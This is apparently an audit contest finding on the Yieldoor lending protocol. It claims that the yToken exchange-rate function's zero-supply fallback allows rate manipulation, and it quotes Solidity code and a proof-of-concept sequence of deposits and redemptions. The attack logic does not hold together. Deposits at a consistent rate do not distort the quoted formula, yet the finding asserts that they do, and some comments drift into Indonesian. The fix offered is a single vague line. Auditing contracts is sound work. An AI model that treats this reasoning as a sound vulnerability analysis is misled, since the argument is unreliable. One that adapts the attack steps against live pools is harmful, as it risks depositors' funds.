Perfect Opal Boar
High
The reserveToYTokenExchangeRate
function in the ReserveLogic
library called by the _deposit
function in the LendingPool
contract contains a critical issue that allows malicious actors to manipulate the exchange rate between the base token and yTokens
. The function lacks proper bounds checking and returns a fixed PRECISION
value when totalYTokens
or totalLiquidity
is zero, creating an opportunity for economic attacks.
https://github.com/sherlock-audit/2025-02-yieldoor/blob/main/yieldoor/src/LendingPool.sol#L113 https://github.com/sherlock-audit/2025-02-yieldoor/blob/main/yieldoor/src/libraries/ReserveLogic.sol#L82-L84
// In LendingPool
function _deposit(address asset, uint256 amount, address onBehalfOf) internal returns (uint256 yTokenAmount) {
DataTypes.ReserveData storage reserve = getReserve(asset);
require(!reserve.getFrozen(), "reserve frozen");
// update states
reserve.updateState();
// validate
reserve.checkCapacity(amount);
@=> uint256 exchangeRate = reserve.reserveToYTokenExchangeRate();
IERC20(asset).safeTransferFrom(msg.sender, reserve.yTokenAddress, amount);
// ... Another code ... //
}
// In ReserveLogic
function reserveToYTokenExchangeRate(DataTypes.ReserveData storage reserve) internal view returns (uint256) {
(uint256 totalLiquidity,) = totalLiquidityAndBorrows(reserve);
uint256 totalYTokens = IERC20(reserve.yTokenAddress).totalSupply();
@=> if (totalYTokens == 0 || totalLiquidity == 0) {
return PRECISION;
}
return totalYTokens * PRECISION / totalLiquidity;
}
The reserveToYTokenExchangeRate
function returns PRECISION
when totalYTokens
or totalLiquidity
is 0, which can cause inconsistencies in the exchange rate calculation.
This can allow an attacker to exploit the situation where totalYTokens
or totalLiquidity
is 0 and then a small initial deposit to create a 1:1 exchange rate (PRECISION
). Then the attacker will make a large deposit to distort the exchange rate which causes the formula totalYTokens * PRECISION / totalLiquidity
to become unbalanced. Subsequent users will receive disproportionate yTokens
because the true value of their deposits is diluted.
// 1. Setup - Assume the attacker has 1,000,000 tokens
uint256 attackAmount = 1_000_000 * 1e18;
// 2. Attack Steps:
// a. First small amount deposit (eg 100 tokens)
// This will result in a 1:1 exchange rate.
uint256 smallDeposit = 100 * 1e18;
underlying.approve(address(lendingPool), smallDeposit);
lendingPool.deposit(address(underlying), smallDeposit, address(this));
// b. Flash loans or large transfers for manipulation
underlying.approve(address(lendingPool), attackAmount);
lendingPool.deposit(address(underlying), attackAmount, address(this));
// c. At this point the exchange rate has become distorted.
// Exchange rate = (totalYTokens * PRECISION) / totalLiquidity
// Where totalYTokens >> totalLiquidity
// d. Withdraw a small portion of yToken
uint256 yTokenBalance = yToken.balanceOf(address(this));
uint256 withdrawAmount = yTokenBalance / 100; // 1% dari balance
lendingPool.redeem(address(underlying), withdrawAmount, address(this));
// e. Result: Attacker gets more underlying tokens
// due to distorted exchange rates
// Impact on other users:
// Victim tries to deposit after exchange rate is distorted
uint256 victimAmount = 1000 * 1e18;
underlying.approve(address(lendingPool), victimAmount);
// Victim will receive a disproportionate amount of yTokens
// because the exchange rate has been manipulated
lendingPool.deposit(address(underlying), victimAmount, address(this));
// Victim now has yTokens which are worth less
// dari yang seharusnya
Dilution of depositor value
Implement exchange rate bounds.